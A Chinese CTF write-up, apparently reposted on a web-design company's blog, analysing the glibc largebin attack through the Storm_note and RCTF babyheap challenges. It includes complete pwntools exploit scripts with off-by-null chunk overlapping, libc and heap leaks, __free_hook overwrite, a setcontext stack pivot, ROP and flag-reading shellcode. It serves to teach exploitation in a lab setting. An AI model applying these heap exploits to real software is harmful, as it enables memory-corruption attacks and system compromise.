本篇文章給大家分享的是有關(guān)怎樣剖析Largebin Attack，小編覺得挺實(shí)用的，因此分享給大家學(xué)習(xí)，希望大家閱讀完這篇文章后可以有所收獲，話不多說，跟著小編一起來看看吧。
網(wǎng)站建設(shè)哪家好，找創(chuàng)新互聯(lián)公司！專注于網(wǎng)頁設(shè)計(jì)、網(wǎng)站建設(shè)、微信開發(fā)、小程序制作、集團(tuán)企業(yè)網(wǎng)站建設(shè)等服務(wù)項(xiàng)目。為回饋新老客戶創(chuàng)新互聯(lián)還提供了范縣免費(fèi)建站歡迎大家使用！
從西湖論劍的Storm_note第一次接觸largebin，RCTF的babyheap，發(fā)現(xiàn)這兩道題的本質(zhì)上是一樣的，因此我將通過這兩道題目對(duì)largebin attack進(jìn)行深入研究，從源碼分析到動(dòng)態(tài)調(diào)試，將largebin attack的整個(gè)流程都過了一遍，整理一下largebin attack的利用過程，希望對(duì)大家有幫助。
首先從源碼角度靜態(tài)分析將chunk從unsortedbin放入largebin部分的代碼邏輯。
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))//從第一個(gè)unsortedbin的bk開始遍歷,FIFO原則
{
bck = victim->bk;
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr ("malloc(): memory corruption");
size = chunksize (victim);
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) //unsorted_bin的最后一個(gè)，并且該bin中的最后一個(gè)chunk的size大于我們申請(qǐng)的大小
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb); //將選中的chunk剝離出來，恢復(fù)unsortedbin
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;//將其從unsortedbin中取出來
bck->fd = unsorted_chunks (av);//bck要保證地址的有效性
/* Take now instead of binning if exact fit */
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
#if USE_TCACHE
/* Fill cache first, return to user only if cache fills.
We may return one of these chunks later. */
if (tcache_nb
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (victim, tc_idx);
return_cached = 1;
continue;
}
else
{
#endif
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
#if USE_TCACHE
}
#endif
}
/* place chunk in bin */
/*把unsortedbin的chunk放入相應(yīng)的bin中*/
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else//large bin
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
/* 如果sizebk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
// 否則正向遍歷，fwd起初是large bin第一個(gè)chunk，也就是最大的chunk。
// 直到滿足size>=large bin chunk size
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;//fd_nextsize指向比當(dāng)前chunk小的下一個(gè)chunk
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else// 插入
{
//解鏈操作，nextsize只有l(wèi)argebin才有
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
//解鏈操作2,fd,bk
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
//fwd->bk->fd=victim 從源碼中可以分析出將chunk(victim)從unsortedbin中取出來放入largebin的具體過程。malloc的時(shí)候，遵循FIFO原則，從unsortedbin的鏈尾開始往前遍歷。對(duì)每次選中的chunk(代碼中為victim)，大致會(huì)進(jìn)行以下操作：
1、如果申請(qǐng)的大小是smallbin范圍內(nèi)&&victim是unsortedbin中僅剩的一個(gè)chunk&&victim的大小滿足需求，則利用這個(gè)chunk分配給用戶返回；否則將這個(gè)victim從unsortedbin中脫離出來。2、除非size剛好是需要的大小，否則將其放入相應(yīng)的smallbin或largebin3、如果是0x400以上(即為largebin)，則從大到小的順序找到一個(gè)鏈表，該鏈表的size<=size(victim)，該鏈表的第一個(gè)chunk即為fwd。如果剛好相等，則不對(duì)bk_nextsize和fd_nextsize進(jìn)行操作。4、解鏈操作1（重點(diǎn)關(guān)注最后一步）：
victim->bk_nextsize->fd_nextsize = victim相當(dāng)于fwd->bk_nextsize->fd_nextsize=victim，即向fwd->bk_nextsize指針中寫入victim的地址。5、解鏈操作2（重點(diǎn)關(guān)注最后一步）：bck->fd = victim相當(dāng)于fwd->bk->fd=victim，即向fwd->bk的指針中寫入victim的地址。
largebin attack的關(guān)鍵是最后兩個(gè)解鏈操作，如果可以控制fwd的bk_nextsize指針和bk指針，可以實(shí)現(xiàn)向任意地址寫入victim的地址。
off_by_null
largebin attackunlinkchunk overlapping
[*] '/home/leo/pwn/xihu/Storm_note' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
1、init_proc
ssize_t init_proc()
{
ssize_t result; // rax
int fd; // [rsp+Ch] [rbp-4h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
if ( !mallopt(1, 0) ) // 禁用fastbin
exit(-1);
if ( mmap((void *)0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != (void *)0xABCD0000LL )
exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(-1);
result = read(fd, (void *)0xABCD0100LL, 0x30uLL);
if ( result != 48 )
exit(-1);
return result;
}程序一開始就對(duì)進(jìn)程進(jìn)行初始化，mallopt(1, 0)禁用了fastbin，然后通過mmap在0xABCD0000分配了一個(gè)頁面的可讀可寫空間，最后往里面寫入一個(gè)隨機(jī)數(shù)。
2、add
for ( i = 0; i <= 15 && note[i]; ++i )//按順序存放堆指針
;
if ( i == 16 )
{
puts("full!");
}
else
{
puts("size ?");
_isoc99_scanf((__int64)"%d", (__int64)&v1);
if ( v1 > 0 && v1 <= 0xFFFFF )
{
note[i] = calloc(v1, 1uLL);//清空內(nèi)容
note_size[i] = v1;//0x202060
puts("Done");
}首先遍歷全局變量note，找到一個(gè)沒有存放內(nèi)容的地方保存堆指針。然后限定了申請(qǐng)的堆的大小最多為0xFFFFF，調(diào)用calloc函數(shù)來分配堆空間，因此返回前會(huì)對(duì)分配的堆的內(nèi)容進(jìn)行清零。
3、edit
puts("Index ?");
_isoc99_scanf((__int64)"%d", (__int64)&v1);
if ( v1 >= 0 && v1 <= 15 && note[v1] )//0x2020a0
{
puts("Content: ");
v2 = read(0, note[v1], (signed int)note_size[v1]);
*((_BYTE *)note[v1] + v2) = 0; // off_by_null
puts("Done");
}存在一個(gè)off_by_null漏洞，在read后v2保存寫入的字節(jié)數(shù)，最后在該偏移處的字節(jié)置為0，形成off_by_null。
4、delete
puts("Index ?");
_isoc99_scanf((__int64)"%d", (__int64)&v1);
if ( v1 >= 0 && v1 <= 15 && note[v1] )
{
free(note[v1]);
note[v1] = 0LL;
note_size[v1] = 0;
}正常free
5、backdoor
void __noreturn backdoor()
{
char buf; // [rsp+0h] [rbp-40h]
unsigned __int64 v1; // [rsp+38h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("If you can open the lock, I will let you in");
read(0, &buf, 0x30uLL);
if ( !memcmp(&buf, (const void *)0xABCD0100LL, 0x30uLL) )
system("/bin/sh");
exit(0);
}程序提供一個(gè)可以直接getshell的后門，觸發(fā)的條件就是輸入的數(shù)據(jù)與mmap映射的空間的前48個(gè)字節(jié)相同。
根據(jù)程序提供的后門，可以通過兩種方法來觸發(fā)：
1、通過泄露信息來獲取寫入的隨機(jī)數(shù)2、通過實(shí)現(xiàn)任意寫來改寫0xABCD0000地址的48字節(jié)隨機(jī)數(shù)成已知的數(shù)據(jù)。
但這題沒有提供輸出函數(shù)，因此第一種方法不好利用，這里采取第二種方法，實(shí)現(xiàn)任意寫。這題由于禁用了fastbin，可以考慮使用largebin attack來是實(shí)現(xiàn)任意寫。
1、利用off_by_null 漏洞實(shí)現(xiàn)chunk overlapping，從而控制堆塊內(nèi)容。2、將處于unsortedbin的可控制的chunk放入largebin中，以便觸發(fā)largebin attack3、控制largebin的bk和bk_nextsize指針，通過malloc觸發(fā)漏洞，分配到目標(biāo)地址，實(shí)現(xiàn)任意地址寫
第一步：chunk overlapping
add(0x18)#0 add(0x508)#1 add(0x18)#2 add(0x18)#3 add(0x508)#4 add(0x18)#5 add(0x18)#6
首先分配7個(gè)chunk，chunk1和chunk4是用于放入largebin的大chunk，chunk6防止top chunk合并。
edit(1,'a'*0x4f0+p64(0x500))#prev_size edit(4,'a'*0x4f0+p64(0x500))#prev_size
構(gòu)造兩個(gè)偽造的prev_size，用于繞過malloc檢查，保護(hù)下一個(gè)chunk的prev_size不被修改。
dele(1) edit(0,'a'*0x18)#off by null
利用off_by_null漏洞改寫chunk1的size為0x500
add(0x18)#1 add(0x4d8)#7 0x050 dele(1) dele(2) #overlap
先將0x20的chunk釋放掉，然后釋放chunk2，這時(shí)觸發(fā)unlink，查可以看到在note中chunk7保存著0x...50的指針，但這一塊是已經(jīng)被釋放掉的大chunk，形成堆塊的重疊。因此如果申請(qǐng)0x18以上的chunk，就能控制該chunk的內(nèi)容了。
#recover add(0x30)#1 add(0x4e0)#2
申請(qǐng)0x30的chunk，形成chunk overlapping。接下來用同樣的方法對(duì)第二個(gè)大chunk進(jìn)行overlapping
dele(4) edit(3,'a'*0x18)#off by null add(0x18)#4 add(0x4d8)#8 0x5a0 dele(4) dele(5)#overlap add(0x40)#4 0x580 edit(8,'ffff')
第二步：放入largebin
如何才能觸發(fā)條件，將unsortedbin中的大chunk放入largebin呢？接下來從源碼分析該機(jī)制。
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))//從第一個(gè)unsortedbin的bk開始遍歷
{
bck = victim->bk;
size = chunksize (victim);
if (in_smallbin_range (nb) &&//<_int_malloc+627>bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) //unsorted_bin的最后一個(gè)，并且該bin中的最后一個(gè)chunk的size大于我們申請(qǐng)的大小
{remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);...}//將選中的chunk剝離出來，恢復(fù)unsortedbin
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck; //largebin attack
//注意這個(gè)地方，將unsortedbin的bk設(shè)置為victim->bk，如果我設(shè)置好了這個(gè)bk并且能繞過上面的檢查,下次分配就能將target chunk分配出來
if (size == nb)//size相同的情況同樣正常分配
if (in_smallbin_range (size))//放入smallbin
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else//放入large bin
{
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;//fd_nextsize指向比當(dāng)前chunk小的下一個(gè)chunk
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else// 插入
{
//解鏈操作，nextsize只有l(wèi)argebin才有
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
//解鏈操作2,fd,bk
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
//fwd->bk->fd=victimdele(2) #unsortedbin-> chunk2 -> chunk5(0x5c0) which size is largebin FIFO add(0x4e8) # put chunk8(0x5c0) to largebin dele(2) #put chunk2 to unsortedbin
簡(jiǎn)要總結(jié)一下這個(gè)過程，在unsortedbin中存放著兩個(gè)大chunk，第一個(gè)0x4e0，第二個(gè)0x4f0。當(dāng)我申請(qǐng)一個(gè)0x4e8的chunk時(shí)，首先找到0x4e0的chunk，太小了不符合調(diào)件，于是將它拿出unsortedbin，放入largebin。在放入largebin時(shí)就會(huì)進(jìn)行兩步解鏈操作，兩個(gè)解鏈操作的最后一步是關(guān)鍵。
可以看到從unsortedbin->bk開始遍歷，第一個(gè)的size < nb因此就會(huì)放入largebin，繼續(xù)往前遍歷，找到0x4f0的chunk，剛好滿足size==nb，因此將其分配出來。最后在delete(2)將剛剛分配的chunk2再放回unsortedbin，進(jìn)行第二次利用。
第三步：largebin attack
再回顧一下之前源碼中更新unsortedbin的地方
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck; //largebin attackcontent_addr = 0xabcd0100 fake_chunk = content_addr - 0x20 payload = p64(0)*2 + p64(0) + p64(0x4f1) # size payload += p64(0) + p64(fake_chunk) # bk edit(7,payload)
payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size payload2 += p64(0) + p64(fake_chunk+8) payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap edit(8,payload2)
修改largebin的bk和bk_nextsize
分析一下為什么改寫為這些值。先回顧一下兩個(gè)解鏈操作。
victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); //解鏈操作2,fd,bk victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; //fwd->bk->fd=victim
根據(jù)之前的chunk overlappnig，可以控制largebin的bk和bk_nextsize，fwd就是已經(jīng)放入largebin的chunk，victim就是unsortedbin中需要放入largebin的chunk。victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim在fwd->bk_nextsize中放入目標(biāo)的addr，實(shí)現(xiàn)*(addr+0x20) = victimbck->fd = victim;在fwd->bk中放入目標(biāo)addr，實(shí)現(xiàn)*(addr+0x10)=victim因?yàn)閡nsortedbin中存放了fake_chunk，但那里沒有一個(gè)符合條件的size，因此需要通過這個(gè)解鏈操作給那里寫入一個(gè)地址，作為size。
(fake_chunk-0x18-5 + 0x20) = (fake_chunk+3) = victim
最后能在fake_chunk上寫入0x56，而程序開了PIE保護(hù)，程序基址有一定幾率以0x56開頭。
bck->fd = unsorted_chunks (av)
同時(shí)還要保證bck的地址有效
(fake_chunk+8+0x10)=(fake_chunk+0x18)=victim
add(0x40)
從unsortedbin的bk開始遍歷，發(fā)現(xiàn)bk是0xabcd00e0，bck!=unsorted_chunks (av)，因此不會(huì)從該chunk中剝離一塊內(nèi)存分配。然后執(zhí)行一下語句
unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
將0xabcd00e0->bk重新放入unsortedbin。然后由于size==nb，返回分配，成功將目標(biāo)地址返回。
payload = p64(0) * 2+p64(0) * 6
edit(2,payload)
p.sendlineafter('Choice: ','666')
p.send(p64(0)*6)最后將0XABCD0100的隨機(jī)數(shù)修改為0，觸發(fā)后門即可。
from pwn import *
p = process('./Storm_note')
def add(size):
p.recvuntil('Choice')
p.sendline('1')
p.recvuntil('?')
p.sendline(str(size))
def edit(idx,mes):
p.recvuntil('Choice')
p.sendline('2')
p.recvuntil('?')
p.sendline(str(idx))
p.recvuntil('Content')
p.send(mes)
def dele(idx):
p.recvuntil('Choice')
p.sendline('3')
p.recvuntil('?')
p.sendline(str(idx))
add(0x18)#0
add(0x508)#1
add(0x18)#2
add(0x18)#3
add(0x508)#4
add(0x18)#5
add(0x18)#6
edit(1,'a'*0x4f0+p64(0x500))#prev_size
edit(4,'a'*0x4f0+p64(0x500))#prev_size
dele(1)
edit(0,'a'*0x18)#off by null
add(0x18)#1
add(0x4d8)#7 0x050
dele(1)
dele(2) #overlap
#recover
add(0x30)#1
add(0x4e0)#2
dele(4)
edit(3,'a'*0x18)#off by null
add(0x18)#4
add(0x4d8)#8 0x5a0
dele(4)
dele(5)#overlap
add(0x40)#4 0x580
dele(2) #unsortedbin-> chunk2 -> chunk5(chunk8)(0x5c0) which size is largebin FIFO
add(0x4e8) # put chunk8(0x5c0) to largebin
dele(2) #put chunk2 to unsortedbin
content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20
payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk) # bk
edit(7,payload)
payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
payload2 += p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap
edit(8,payload2)
add(0x40)
#gdb.attach(p,'vmmap')
payload = p64(0) * 2+p64(0) * 6
edit(2,payload)
p.sendlineafter('Choice: ','666')
p.send(p64(0)*6)
p.interactive()off by one
largebin attackunlinkchunk overlappingROPshellcode編寫
[*] '/home/leo/Desktop/RCTF/babyheap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
保護(hù)全開
1、init
首先選取2字節(jié)的隨機(jī)數(shù)作為mmap函數(shù)分配給ptrs的地址，然后禁用了fastbin，最后對(duì)一些系統(tǒng)調(diào)用函數(shù)進(jìn)行限制。利用seccomp-tools工具可以快速查看程序?qū)δ男┖瘮?shù)進(jìn)行限制。
發(fā)現(xiàn)禁用了fork、execve等函數(shù)，因此不能直接調(diào)用system函數(shù)來getshell?？梢钥紤]用open、read、write讀取輸出文件內(nèi)存來獲得flag。
2、add
分析出ptrs的保存的數(shù)據(jù)以16字節(jié)為單位，前8字節(jié)保存用calloc函數(shù)分配的堆塊指針，后8字節(jié)保存對(duì)應(yīng)的size。
3、edit
edit函數(shù)存在一個(gè)off by null漏洞。
4、delete
安全的free，清空了指針，沒什么問題。
5、show
提供了一個(gè)輸出函數(shù)，可以用來泄露信息。
1、利用off by null漏洞改寫size，通過unlink形成chunk overlapping對(duì)fwd的堆塊的bk和bk_nextsize實(shí)施控制。在這過程中順便用show函數(shù)泄露libc和heap地址。2、由于涉及到fwd和victim兩個(gè)large size的chunk的操作，需要先將一個(gè)chunk放入largebin，另一個(gè)放入unsortedbin，然后利用largebin attack往free_hook前某個(gè)內(nèi)存錯(cuò)位寫入0x56作為fake_chunk的size。然后分配到fake_chunk改寫free_hook指針。3、因?yàn)槌绦蜷_啟的保護(hù)限制了system函數(shù)的使用，所以不能直接getshell。如果要利用open、read、write來讀取flag文件，需要用到ROP技術(shù)。4、因?yàn)橹恢纋ibc和heap地址，不知道棧地址和程序基址，首先需要將rsp遷移到堆上。5、最后就能通過ROP來獲取flag
第一步：chunk overlapping
add(0x18)#0 add(0x508)#1 add(0x18)#2 add(0x18)#3 add(0x508)#4 add(0x18)#5 add(0x18)#6 edit(1,'a'*0x4f0+p64(0x500))#prev_size edit(4,'a'*0x4f0+p64(0x500))#prev_size #gdb.attach(p) #第一個(gè)大chunk dele(1) edit(0,'a'*0x18)#off by null add(0x18)#1 add(0x4d8)#7 0x050 dele(1) dele(2)#overlap
#第二個(gè)大chunk dele(4) edit(3,'a'*0x18)#off by null add(0x18)#4 add(0x4d8)#8 0x5a0 dele(4) dele(5)#overlap add(0x40)#4 0x580
這一步與Storm_note前一部分是一樣的，這里不多做解釋。
第二步：泄露libc和heap
在形成第一個(gè)大chunk的overlapping的時(shí)候因?yàn)閏hunk在unsortedbin里，可以順便泄露libc基址和heap地址。這些是常規(guī)操作。
此時(shí)能控制的堆塊從0x...50開始，unsortedbin中的堆塊為0x...20，因此需要分配0x20大小的塊出來，使得unsortedbin的地址寫入0x...50。
#recover leak libc
add(0x18)#1
show(7)
p.recv(1)
leak = p.recv(6)
libc_base=uu64(leak)-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))
用同樣的方法，要泄露heap地址，需要在fd上保存下一個(gè)堆塊指針，則需要將兩個(gè)chunk放入unsortedbin中，同時(shí)第二個(gè)放入的chunk是可控的。
#leak heap
add(0x4e0)#2
add(0x18)#8
dele(3)
dele(2)
show(7)
p.recv(1)
data = p.recv(6)
heap = uu64(data)-0x550
success('heap= {}'.format(hex(heap)))
add(0x4e0)
add(0x18)第三步：largebin attack
dele(2) add(0x4e8) dele(2)
同樣的由于在第一個(gè)chunk的大小為0x4e0，不滿足(unsigned long) (size) > (unsigned long) (nb + MINSIZE)條件，因此將其剝離出來，放入largebin。然后繼續(xù)往前搜索發(fā)現(xiàn)0x4f0滿足要求，返回給用戶。最后再把chunk2重新放入unsortedbin中。形成一個(gè)unsortedbin中的victim和largebin中的fwd。
free_hook = libc.symbols['__free_hook']+libc_base fake_chunk = free_hook-0x10 payload = p64(0) + p64(fake_chunk) # bk edit(7,payload) payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size payload2 += p64(0) + p64(fake_chunk+8) payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap edit(9,payload2) add(0x40)
做了三件事情：
1、將unsortedbin中的victim的bk改寫為fake_chunk，使得下一次往前遍歷時(shí)命中這塊內(nèi)存。2、改寫largebin中的fwd的bk為victim，使得bck->fd=unsorted_chunks (av)成功執(zhí)行。3、改寫largebin中的fwd的bk_nextsize為fake_chunk的size字段，錯(cuò)位寫入heap地址。
第四步：遷移棧到堆，利用ROP
要用到ROP需要在棧上布置數(shù)據(jù)，但堆題一般都只是將數(shù)據(jù)放在堆上，因此很難利用ROP。解決方法是利用mov rsp,[xxx]的方法遷移棧到堆上。這里利用的是setcontext函數(shù)中有一段指令可以控制rsp寄存器。
因此，觸發(fā)free_hook前，往free_hook中填寫setcontext+53的地址，注意布置好第一個(gè)參數(shù)rdi對(duì)應(yīng)的堆塊的數(shù)據(jù)，就可以改寫rsp等寄存器的值。
setcontext = 0x47b75+libc_base
success('setcontext= {}'.format(hex(setcontext)))
edit(2,p64(setcontext))接著是往一個(gè)堆上布置好ROP的數(shù)據(jù)，流程是調(diào)用mprotect將heap改為可執(zhí)行，然后調(diào)用mmap分配一塊可讀可寫可執(zhí)行內(nèi)存，接下來將shellcode復(fù)制到這塊內(nèi)存，最后跳到shellcode開始執(zhí)行。
a = '''
mov esp,0x400100
push 0x67616c66
mov rdi,rsp
'''
shellcode = asm(a,arch='amd64',os='linux')
shellcode += asm(shellcraft.amd64.syscall("SYS_open","rdi",'O_RDONLY', 0)+'mov rbx,rax',arch='amd64',os='linux')
shellcode += asm(shellcraft.amd64.syscall("SYS_read","rbx",0x400200,0x20),arch='amd64',os='linux')
shellcode += asm(shellcraft.amd64.syscall("SYS_write",1,0x400200,0x20),arch='amd64',os='linux')
p_rdi=0x0000000000021102+libc_base
p_rdx_rsi=0x00000000001150c9+libc_base
p_rcx_rbx=0x00000000000ea69a+libc_base
p_rsi = 0x00000000000202e8+libc_base
mprotect=libc.symbols['mprotect']+libc_base
setcontext = 0x47b75+libc_base
success('setcontext= {}'.format(hex(setcontext)))
mmap = libc.symbols['mmap']+libc_base
edit(2,p64(setcontext))
rop = p64(0)*5+p64(0xffffffff)+p64(0)#r8 r9
rop+= p64(0)*13
rop+= p64(heap+0x100)#mov rsp,[rdi+0xa0]
rop+= p64(p_rdi)#push rcx;ret
rop+= p64(heap)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(mprotect)
rop+= p64(p_rdi)+p64(0x400000)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(p_rcx_rbx)+p64(0x22)+p64(0)+p64(mmap)
rop+= p64(p_rcx_rbx)+p64(len(shellcode))+p64(0) + p64(p_rdi)+p64(0x400000) + p64(p_rsi)+p64(heap+0x1be)+p64(heap+0x1b0)
rop+= asm('''
rep movsd
push 0x400000
ret ''',arch='amd64',os='linux')+'\x00'
rop+= shellcode
edit(7,rop)
dele(7)
p.interactive()其實(shí)這題更簡(jiǎn)單的方法是直接利用ROP來open、read、write或者直接在堆上執(zhí)行shellcode。我這么做就是將兩種方法結(jié)合起來。
from pwn import *
p = process('./babyheap')
libc = ELF('/home/leo/Desktop/libc-2.23.so')
#context.log_level='debug'
uu64 = lambda data :u64(data.ljust(8, '\0'))
def add(size):
p.recvuntil('Choice')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
def edit(idx,mes):
p.recvuntil('Choice')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(idx))
p.recvuntil('Content:')
p.send(mes)
def dele(idx):
p.recvuntil('Choice')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(idx))
def show(idx):
p.recvuntil('Choice')
p.sendline('4')
p.recvuntil('Index:')
p.sendline(str(idx))
add(0x18)#0
add(0x508)#1
add(0x18)#2
add(0x18)#3
add(0x508)#4
add(0x18)#5
add(0x18)#6
edit(1,'a'*0x4f0+p64(0x500))#prev_size
edit(4,'a'*0x4f0+p64(0x500))#prev_size
#gdb.attach(p)
dele(1)
edit(0,'a'*0x18)#off by null
add(0x18)#1
add(0x4d8)#7 0x050
dele(1)
dele(2)#overlap
#recover leak libc
add(0x18)#1
show(7)
p.recv(1)
leak = p.recv(6)
libc_base=uu64(leak)-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))
#leak heap
add(0x4e0)#2
add(0x18)#8
dele(3)
dele(2)
show(7)
p.recv(1)
data = p.recv(6)
heap = uu64(data)-0x550
success('heap= {}'.format(hex(heap)))
add(0x4e0)
add(0x18)
##########################
dele(4)
edit(3,'a'*0x18)#off by null
add(0x18)#4
add(0x4d8)#8 0x5a0
dele(4)
dele(5)#overlap
add(0x40)#4 0x580
#9 control
dele(2)
add(0x4e8)
dele(2)
#gdb.attach(p)
free_hook = libc.symbols['__free_hook']+libc_base
fake_chunk = free_hook-0x10
payload = p64(0) + p64(fake_chunk) # bk
edit(7,payload)
payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
payload2 += p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap
edit(9,payload2)
#gdb.attach(p)
add(0x40)#2
#rop
a = '''
mov esp,0x400100
push 0x67616c66
mov rdi,rsp
'''
shellcode = asm(a,arch='amd64',os='linux')
shellcode += asm(shellcraft.amd64.syscall("SYS_open","rdi",'O_RDONLY', 0)+'mov rbx,rax',arch='amd64',os='linux')
shellcode += asm(shellcraft.amd64.syscall("SYS_read","rbx",0x400200,0x20),arch='amd64',os='linux')
shellcode += asm(shellcraft.amd64.syscall("SYS_write",1,0x400200,0x20),arch='amd64',os='linux')
p_rdi=0x0000000000021102+libc_base
p_rdx_rsi=0x00000000001150c9+libc_base
p_rcx_rbx=0x00000000000ea69a+libc_base
p_rsi = 0x00000000000202e8+libc_base
mprotect=libc.symbols['mprotect']+libc_base
setcontext = 0x47b75+libc_base
success('setcontext= {}'.format(hex(setcontext)))
mmap = libc.symbols['mmap']+libc_base
edit(2,p64(setcontext))
rop = p64(0)*5+p64(0xffffffff)+p64(0)#r8 r9
rop+= p64(0)*13
rop+= p64(heap+0x100)#mov rsp,[rdi+0xa0]
rop+= p64(p_rdi)#push rcx;ret
rop+= p64(heap)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(mprotect)
rop+= p64(p_rdi)+p64(0x400000)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(p_rcx_rbx)+p64(0x22)+p64(0)+p64(mmap)
rop+= p64(p_rcx_rbx)+p64(len(shellcode))+p64(0) + p64(p_rdi)+p64(0x400000) + p64(p_rsi)+p64(heap+0x1be)+p64(heap+0x1b0)
rop+= asm('''
rep movsd
push 0x400000
ret ''',arch='amd64',os='linux')+'\x00'
rop+= shellcode
edit(7,rop)
dele(7)
p.interactive()通過上述對(duì)兩道題目的分析，我總結(jié)出largebin attack的一下利用條件或特點(diǎn)以及利用過程。
利用條件或特點(diǎn)：
1、需要對(duì)已經(jīng)free的堆塊進(jìn)行控制。通常需要off by null或者UAF這類漏洞存在。
2、fastbin不可用。通常會(huì)出現(xiàn)mallopt(1,0)禁用fastbin。
3、已知目標(biāo)地址。通常可以泄露libc來控制free_hook
利用過程：
1、構(gòu)造unsortedbin和largebin兩個(gè)大堆塊，并且能控制bk和bk_nextsize指針
